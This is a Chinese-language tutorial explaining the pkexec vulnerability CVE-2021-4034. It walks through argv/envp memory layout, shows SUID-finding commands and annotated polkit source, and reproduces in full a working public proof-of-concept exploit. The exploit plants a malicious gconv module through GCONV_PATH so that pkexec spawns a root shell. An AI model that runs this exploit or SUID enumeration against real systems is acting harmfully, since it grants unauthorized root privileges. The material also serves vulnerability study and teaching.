int main(int argc, char *argv[], char *envp[])
argc是什么?
答: 这是一个整型变量,表示运行程序的命令行传入的参数个数。由于程序的名称默认被看作第一个参数,argc至少是1。
argv是什么?
答:argv[]表示以null为结尾的字符串数组,(个人理解是argv 数组中存储了指针,每个指针指向一个字符串的开头,也就是对应的参数, 最后一个指针 argv[argc] 的值为null); 可以这样定义 char *argv[]
, 也可以这样定义char **argv
。
envp是什么?
答:这是系统的环境变量,内容一般以"名称=值"的形式, 以NULL结束。(可以尝试打印一下,我试了一下,打印出许多变量, 例如HISTSIZE, USER 等)
内存中argv和envp的存放位置关系是什么?(这是一个非常重要的知识点,可以通过argv来访问envp中对应的内容)
内存中存放的位置关系如下。 我尝试了一下argv[argc+1] 的值就是envp[0]的值。
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
//使用方式, 需要加入头文件
#include
//函数原型:
int execve(const char *filename, char *const argv[], char *const envp[]);
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
// a.c
#include
#include
int main(int argc, char **argv, char** envp)
{
printf("argv[1]:%s\n", argv[1]);
}
直接运行的效果如下:
[test@]$ ./a
argv[1]: ----- (null)
//b.c
#include
#include
#include
int main(int argc, char * argv[]){
char *a_argv[] = { NULL };
char *a_envp[] = {"lol", NULL};
execve("./a", a_argv, a_envp);
}
运行效果如下:
argv[1]: ----- lol
pkexec源码地址:
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
for (n = 1; n < (guint) argc; n++)//注意,如果不传参数,n的值在这里默认设置为了1
{
// 下面的操作基本就是匹配参数,基本可以不用关注。
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
if (opt_user != NULL)
{
g_printerr ("--user specified twice\n");
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //不传参, 这里的n值为1, 也就是envp[0]的值。
if (path == NULL)
{
GPtrArray *shell_argv;
path = g_strdup (pwstruct.pw_shell);
if (!path)
{
g_printerr ("No shell configured or error retrieving pw_shell\n");
goto out;
}
/* If you change this, be sure to change the if (!command_line)
case below too */
command_line = g_strdup (path);
shell_argv = g_ptr_array_new ();
g_ptr_array_add (shell_argv, path);
g_ptr_array_add (shell_argv, NULL);
exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path); // 获取path的路径。envp[0]中指向的值,如果是可执行程序名称, 可以通过该函数获取到路径。
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s; // 这里获取的路径的值,又把envp[0] 中的值给覆盖掉了。
}
if (access (path, F_OK) != 0)
{
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
if (!command_line)
{
/* If you change this, be sure to change the path == NULL case
above too */
command_line = g_strjoinv (" ", argv + n);
exec_argv = argv + n;
}
整理一下, 如果执行pkexec而不带参数,则会发生溢出,在envp中引入可以被构造的环境变量。
漏洞利用之前, 还需要了解一个知识点:
在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。
iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。
那么利用的思路就来了:
由于我们在上一节已经知道,我们可以人为构造一种场景来改变环境变量,那么是否可以设法在pkexec运行的时候改变环境变量 GCONV_PATH, 从而执行我们的恶意so文件。只要思想不滑坡,办法总比困难多~
具体的利用过程描述如下:
exp如下:
/*
* blasty-vs-pkexec.c -- by blasty
* ------------------------------------------------
* PoC for CVE-2021-4034, shout out to Qualys
*
* ctf quality exploit
*
* bla bla irresponsible disclosure
*
* -- blasty // 2022-01-25
*/
#include
#include
#include
#include
#include
#include
#include
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include \n"
"#include \n"
"#include \n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}
if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}
printf("[~] maybe get shell now?\n");
execve("/usr/bin/pkexec", a_argv, a_envp);
}
使用方式如下:
gcc exp.c -o exp
./exp
这里可以小结一下,该漏洞可以利用的条件有哪些:
感受:对于漏洞初学者,这个漏洞的利用方式就是一个字"妙"啊~
主要参考资料:
https://saucer-man.com/information_security/876.html